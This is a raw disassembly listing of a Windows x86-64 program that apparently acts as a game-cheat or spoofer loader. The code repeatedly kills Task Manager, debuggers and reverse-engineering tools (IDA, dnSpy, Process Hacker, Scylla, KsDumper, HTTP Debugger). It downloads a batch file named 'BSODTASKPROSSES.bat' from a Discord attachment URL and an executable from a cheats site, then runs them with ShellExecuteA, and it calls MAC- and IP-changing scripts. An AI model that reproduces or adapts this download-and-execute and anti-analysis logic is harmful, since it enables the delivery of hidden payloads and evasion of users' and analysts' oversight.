xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd770]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd750]
call fcn.14005d9d0
lea rcx, [rsp + 0xd750]
call fcn.14005d8d0
mov qword [rsp + 0x610], rax
lea rcx, [rsp + 0xd770]
call fcn.14005d8d0
mov qword [rsp + 0x618], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x610]
mov rdx, qword [rsp + 0x618]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_US2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USIPv6.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, [rsp + 0xd750]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd770]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd790]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd7b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd7d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd7f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa2f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xea50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd810]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd830]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd850]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd870]
call fcn.14005d8e0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce88]
lea rcx, [rsp + 0x620]
call fcn.14005eef0
lea rdx, [rsp + 0x620]
lea rcx, [0x14039453c]
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14007a9ab
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd9b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd990]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd990]
call fcn.14005d8d0
mov qword [rsp + 0x628], rax
lea rcx, [rsp + 0xd9b0]
call fcn.14005d8d0
mov qword [rsp + 0x630], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x628]
mov rdx, qword [rsp + 0x630]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_VPN.exe
lea rcx, [rsp + 0xd970]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoVPN.exe
lea rcx, [rsp + 0xd950]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd950]
call fcn.14005d8d0
mov qword [rsp + 0x638], rax
lea rcx, [rsp + 0xd970]
call fcn.14005d8d0
mov qword [rsp + 0x640], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x638]
mov rdx, qword [rsp + 0x640]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
